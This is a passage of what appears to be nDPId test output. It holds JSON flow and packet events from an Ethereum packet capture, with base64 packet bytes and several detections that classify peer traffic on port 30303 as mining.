+00426{"flow_id":16,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":539,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":8465,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGFbPAqAG4v+qixt0sdl9ft7DBaRByMIAQD\/56dQAAAQEICiLYlhI0GJrv"} +00426{"flow_id":16,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":540,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":8475,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGFbPAqAG4v+qixt0sdl9ft7DBaRByPYAQD\/56aAAAAQEICiLYlhI0GJrv"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":567,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1578508365009,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"144.91.120.135","src_port":56641,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":567,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":9842,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGb3XAqAG4kFt4h91Bdl90OGLhAAAAALAC\/\/+IEgAAAgQFtAEDAwUBAQgKItiWFAAAAAAEAgAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":568,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1578508365021,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"178.62.10.218","src_port":56642,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":568,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":21490,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGuz\/AqAG4sj4K2t1Cdl8xVnl5AAAAALAC\/\/8AHAAAAgQFtAEDAwUBAQgKItiWHgAAAAAEAgAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":569,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1578508365029,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"178.62.29.183","src_port":56643,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":569,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":29590,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGqGLAqAG4sj4dt91Ddl+W2yuDAAAAALAC\/\/\/VpgAAAgQFtAEDAwUBAQgKItiWJgAAAAAEAgAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":598,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1578508365038,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"13.230.108.42","src_port":56644,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":598,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":38942,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG\/kfAqAG4DeZsKt1Edl+KMGOvAAAAALAC\/\/8AAwAAAgQFtAEDAwUBAQgKItiWLQAAAAAEAgAA"} +00437{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":605,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":39176,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADQGe3mQW3iHwKgBuHZf3UEpl2emdDhi4qAScSAVuAAAAgQFrAQCCArbhaVwItiWFAEDAwc="} +00425{"flow_id":39,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":606,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":39222,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGb4HAqAG4kFt4h91Bdl90OGLiKZdnp4AQECylVgAAAQEICiLYli7bhaVw"} +01167{"flow_id":39,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":607,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":40566,"pkt_caplen":606,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":606,"pkt_l4_len":572,"pkt":"EBMx8Tl2KDc3AG3ICABFAAJQAABAAEAGbWXAqAG4kFt4h91Bdl90OGLiKZdnp4AYECxqYwAAAQEICiLYli\/bhaVwAhoEqFEYWui6uaX1mTBG6rJ\/8JvXZeblYDaaKyL0iuOXiWEObGPARK82c8HTtYWWLQhhxAruLAGbxlpr9w7TvDfbVeP\/MRkgtRzc5TCtFameRcH+B+d7AFEdB4usVsU0ck8Wb5F0ikKql9UW81QbaWN2PMkJOtgVoarvJIHAhzBLIMaYXnbzlDS7VFeGTtrkaBEoCBjrBqk+AkezR\/Nv3w+HC14Kwvf\/W78CAyl6tSH14ZXV93iy7UvEP9oI+Ek9ILiFD\/ZpJgcmi1zQM+EiwWSa0UhsLPO0bS19vUIkPVsCN7VcyuAZ\/eQu2gCAFOMbcpKjM406IQF3RzQI+8St0zhrFWneji\/DwmDDltFKqKXlAW5Xi0Is6il2pY2wLukNaMGuMfoWKdNwka5Cdi1A+QGqyacgXhvTr6TyEIs+C2yw3v+D8HjPpBDWFBSwbb\/\/jdzQhUCBfp8WIW8dYat+PUpqCGdtySVtdUgDhcrRLC0kDe8LnTZEtKIGm7bqd0RsDfIgzD\/S+QZ\/Bas4wLL0si7aVjq9NydSlEwtjb2sMaxkzhwLEwQboe7wi\/mqzaFljgD8Odc2h6DZ+tfjfIP5ovETNkHB5GsyBR8lqa6f\/uD8LjuBKbJodrD8U3CVN197WCmu7PxSO96wloa6Y\/pq\/M4Hq\/lbP\/tqWBDOMzwjyvfhDX+w+gI69UUFWFhcCTkTEO51RjRg4K\/eHL3m"} +00562{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":607,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":4,"flow_first_seen":1578508365009,"flow_last_seen":1578508365040,"flow_tot_l4_data_len":688,"flow_min_l4_data_len":32,"flow_max_l4_data_len":572,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"144.91.120.135","src_port":56641,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00425{"flow_id":33,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":608,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":41341,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0z6lAADQGwM+fy1QfwKgBuHZf3TprW2X+3LDR54AQAOw5ggAAAQEICk94qlgi2JXO"} +01119{"flow_id":33,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":613,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":43166,"pkt_caplen":579,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":579,"pkt_l4_len":545,"pkt":"KDc3AG3IEBMx8Tl2CABFAAI1z6pAADQGvs2fy1QfwKgBuHZf3TprW2X+3LDR54AYAOz4IQAAAQEICk94qlgi2JXOAf8Ea4ImeDT2hlTJdW87oL0+drKtPIBVOQCw5+PKK\/xYCt6d76q9BAtBfxtUvOshsWGHFaBML0EbkVruevkx07WZJRdFwQg6onEzckMhT+SwhMtlffvPhYmTfrnMo4qGqEaKn+kH4HG2kZno2v77xMuGOuA7rxkPYbjkCRJx6WsG3TCokIYpdURE9maqAmoJYnI84eILglL0LEsWFqJqKpEM5U7V6KmT\/72ozF3awawbgD0MAVzoKgD7\/3rVencsSVhd8SD5Edl5ZOPpJcbhLd7r81PdHEWUxXp3Kswn07UwofGh4TX6vfoQwm1IgmGMVdo4vNP4cPqUocHXp9VAUu\/sM4KiclPuaPiiMREswcF5XMoybUP5gUDTNhjwQq5ZYXEFIWYd9LMyPxUHTaSIQnz1tgBoRrFSBIG5iIUXKuBu72STXUBM6VZP1prjqPmcIqsxtC6YaJBg3fubgFvUWc31WjmW0q27TxcLjboX4ozHEMgDBAhWBZ3jPgOPWOtXJKYM\/z0+JfCdx2fCyfpZXo2pLqafxIxTAgi8\/n0BmW8YLaN6YJfK89tWmUlAaF55tt1BjktVLG52FGtxEeUUpExEFr3mKYmjLGLcn9\/uG++KGbKmeUoLn7l7mqIlhpbfjoQ7bP+upqgpwPL4+j7tPW4q+PautAM632KoI0d7yzni"} +00427{"flow_id":33,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":618,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":43220,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGhHnAqAG4n8tUH906dl\/csNHna1tn\/4AQEBsn8AAAAQEICiLYljBPeKpY"} +00472{"flow_id":33,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":622,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":43907,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"EBMx8Tl2KDc3AG3ICABFAABUAABAAEAGhFnAqAG4n8tUH906dl\/csNHna1tn\/4AYEBt\/CAAAAQEICiLYljFPeKpYJ+o7vqCq2VJlu7F2z8Fq0rOYoeyopxrANCFHTjd9rXg="} +00431{"flow_id":33,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":623,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":43920,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA1AABAAEAGhHjAqAG4n8tUH906dl\/csNIHa1tn\/4AYEBuGxQAAAQEICiLYljFPeKpYoQ=="} +00603{"flow_id":33,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":624,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":43972,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"EBMx8Tl2KDc3AG3ICABFAACwAABAAEAGg\/3AqAG4n8tUH906dl\/csNIIa1tn\/4AYEBvHpwAAAQEICiLYljFPeKpYZNU0dcweWe6v9T2LiLdLC4alwOyoX1XReF4DC9f\/c5fsgLmfXG7TuZhmxp8jLAK6yRfKyrmZaLxy0VEyK3rVfsxB3fwoQKl\/R9T0EFazfxL+KNomk2\/3SY8tDhd4nC0uJU8v4HWRMIF3y6SIxHoqJW2J82sd6ri3TF096w=="} +00432{"flow_id":33,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":625,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":43985,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA3AABAAEAGhHbAqAG4n8tUH906dl\/csNKEa1tn\/4AYEBtyGwAAAQEICiLYljFPeKpYPSt4"} +00452{"flow_id":33,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":626,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":44053,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEAABAAEAGhGnAqAG4n8tUH906dl\/csNKHa1tn\/4AYEBsoMAAAAQEICiLYljFPeKpYMhgdBulowcOr+Cj2xLNrGQ=="} +00471{"flow_id":33,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":627,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":44194,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"KDc3AG3IEBMx8Tl2CABFAABUz6tAADQGwK2fy1QfwKgBuHZf3TprW2f\/3LDR54AYAOylrgAAAQEICk94qlgi2JXOJ+pFvqCq2VJlu7F2z8Fq0p0vzt4GVNN645NbvcgqCuU="} +00427{"flow_id":33,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":628,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":44251,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGhHnAqAG4n8tUH906dl\/csNKXa1toH4AQEBonIAAAAQEICiLYljFPeKpY"} +00430{"flow_id":33,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":629,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":44303,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA1z6xAADQGwMufy1QfwKgBuHZf3TprW2gf3LDR54AYAOwXWAAAAQEICk94qlgi2JXOIA=="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":645,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1578508365045,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"185.219.133.62","src_port":56645,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":645,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":45064,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGOT7AqAG4uduFPt1Fdl+PNscoAAAAALAC\/\/\/ScwAAAgQFtAEDAwUBAQgKItiWMgAAAAAEAgAA"} +00438{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":646,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":63785,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAACMG2uES26efwKgBuHZf3T9fy8\/Lfuf1H6ASaN8cNgAAAgQFrAQCCAoSyYNbItiVzQEDAwc="} +00427{"flow_id":38,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":647,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":63889,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGvenAqAG4Etunn90\/dl9+5\/UfX8vPzIAQECyjNQAAAQEICiLYlkUSyYNb"} +01137{"flow_id":38,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":648,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":65166,"pkt_caplen":587,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":587,"pkt_l4_len":553,"pkt":"EBMx8Tl2KDc3AG3ICABFAAI9AABAAEAGu+DAqAG4Etunn90\/dl9+5\/UfX8vPzIAYECwSKQAAAQEICiLYlkYSyYNbAgcExEL6k7iDCmvDnLTJQ493cMoyN1vB35yNoXPALiSuhgaS7ozJbRQbYOIH3P2cKiRvQXZnyi4u4Lw9Z+qm430tq6fsEdocQZExsicq33nFabONqvhhdUCa\/Ycdml2wvn5dpDCXVB9DNlrFeOeFE91jSn+\/t\/1SEOuxaQXmtjOwaQ1rpHIUzUgqbMGDk2Xf\/clHNIrP+8dybicogNvvQdnfbOpGdx1BoT0UQ\/cJXLKng37Bgj1WiAiOYJXJZa8JBRrhcHue5nPxDIJBjNepGAEan7DM7ryaKTAgOvU\/Di6OjPj6R7ouWTk82ibH7ElOw1FPPG5org7fTBskGPYN2GwayBKfWJqhgX9Gm1oPuX1X+g+ulBxYo6+kcnIZf2UWtLkGazBcTymT3ikMsPJcAOx6Ez506cWe12f8KbpoTZUvcT+X1eAJbGBrWT7DguMC80iDihkY\/yzY\/n3QuAZq24LNcyxoBP\/uCwVTm8qaMGfmyat1VRjTTPpp+Fj+UiG42oX6jN4ArwZ513sZwkaDYmzIysegLaM5r3\/zIAY5u9dqFaz0kd9hCdidoGIQ0QsFKfLzcRD16xeZ1Z2WCedBAjFbCQYMbcXNCoLuX9swWHUyq5fABYOQJH2AbDJ3jx4sK0iNO0HqAWR0fuWK4AaZIlse6PDKjcaLDe4h\/7OZqPG8cMv39kbM44A="} +00562{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":648,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":4,"flow_first_seen":1578508364932,"flow_last_seen":1578508365065,"flow_tot_l4_data_len":669,"flow_min_l4_data_len":32,"flow_max_l4_data_len":553,"flow_avg_l4_data_len":167,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"18.219.167.159","src_port":56639,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00437{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":649,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":65326,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADQGx0OyPgrawKgBuHZf3UIGbP5HMVZ5eqAScSDZAAAAAgQFrAQCCAoLgra+ItiWHgEDAwc="} +00425{"flow_id":40,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":650,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":65360,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGu0vAqAG4sj4K2t1Cdl8xVnl6Bmz+SIAQECxokQAAAQEICiLYlkYLgra+"} +00625{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":651,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":65549,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"EBMx8Tl2KDc3AG3ICABFAADHKIQAAEAR+iHAqAG4QipS9nZfdl8As8h52l5Lj\/FNPSwNskN7KXHg69sINFX5NaCleeEwgXwmONn61xupKUye1QOfHD1DMyDw8Rv4bxSGME4AJ9XC7q+0Pwz+NqNAUtNYGL1TDF+F5wROIhyoide5OcgIFnuRD6baAQP4R7hAggEUSZWpWZm0YK3HCqZiBR7sHJ3wp8USPzyX73HGoWVqts4UjRd8TfDxZuCIPe7jI\/CXMWJB7l7pTCCyfJvg8YReFiBh"} +00994{"flow_id":40,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":652,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":66752,"pkt_caplen":481,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":481,"pkt_l4_len":447,"pkt":"EBMx8Tl2KDc3AG3ICABFAAHTAABAAEAGuazAqAG4sj4K2t1Cdl8xVnl6Bmz+SIAYECxOmwAAAQEICiLYlkcLgra+AZ0EfDFSBUJ6d0+2D0oST02\/uFUlU5RNbQ3HbgqvvNxJKs0OzpHFikNJND1E67AmEorBEgaJseJj+vhGZlyE+Dle+PraWO9mbRrzmtxOgCJZV4CSArT5OQKw2v896ro2qDbOnZCIAxVnAVC9t9odXFYn7H\/gYvVHuaUln5s5mZ4HQ1T8d9T9DiC9L0hrnW5hBxNsN9G8mAOE9jI8ne8sU1Ju3PpSmoLGYt\/2tMKQdKr3b6JvR46ryyF\/ggTQgDOWO+\/\/u7PHJ2w89w4U4HzsOVMmyycVcHql5kvxMaP2MLZBCuWAGfiQvP4NDhOCYJsjW3VrG5K2Se593uQZXIKHtw8sp3F8iPUqyZjRQzR+LL2nJieUq1Y8MfHd1XPGtuFN0votDo3t4Nr7vKG+x0dyopQ8vTOADKbE6V90Y1PkWCGFKzm\/uPJTFa3gZOK8RWQ3Hw7nJYtcfP6Oj2jq2M\/rl54gn8L6crAUrrqlXOvZvOmxqzmJqV2JMCHrRSAFnh\/3FkjCShQBU8f8\/+NikG8L2AStayI0zrPhTf67SIngfA=="} +00426{"flow_id":39,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":653,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":68441,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0nAdAADQG33mQW3iHwKgBuHZf3UEpl2endDhk\/oAQAOuyXAAAAQEICtuFpY4i2JYv"} +00868{"flow_id":39,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":654,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":70537,"pkt_caplen":390,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":390,"pkt_l4_len":356,"pkt":"KDc3AG3IEBMx8Tl2CABFAAF4nAhAADQG3jSQW3iHwKgBuHZf3UEpl2endDhk\/oAYAOtPmAAAAQEICtuFpZAi2JYvAUIESXuPYkJdnA\/CZFdhgBAAQtUX15B6DCXuzDqnZftI8v2UfukN+j0ZKLKND9611k0yd+cQoBrvik6pa0PTCGNuokXiAm5QbGDT\/sOq2TsXHlaRxuYtW4V\/62NEEGYjvyW4IVBXO67uIVSG\/vwgJgnILegoyco7IJx6Q8WTcegO6Wpps6uGe5qxjajcN5q4VoLvRLDCBkuMQ+gNuyOMFg4hFO88v7\/BaZBaOb5HZnrvGsLyS2NBce8nrnTKfjNnjvra5wy0uLrf4EkRXun93WrneUlxwyh9Xwg3PdOeP\/F3JqQg8szGZ0FMwXioq0mOpYAMx9iiAXsmdInBDI\/SldNnIc3qvJQqDulANBYFXINDax92JBX51mQ9tj5oaZZ43WGzmCX9g0auTWVK1mimetm8cGl3trX3RqsynNq+tKvQbVRs"} +00425{"flow_id":39,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":655,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":70640,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGb4HAqAG4kFt4h91Bdl90OGT+KZdo64AQECGhxQAAAQEICiLYlkrbhaWQ"} +00472{"flow_id":39,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":663,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":71457,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"EBMx8Tl2KDc3AG3ICABFAABUAABAAEAGb2HAqAG4kFt4h91Bdl90OGT+KZdo64AYECHfLgAAAQEICiLYlkrbhaWQOD2HVbLrdC\/cTcdqNF\/\/MzPw7q9nqUi3JbC7sZprtaY="} 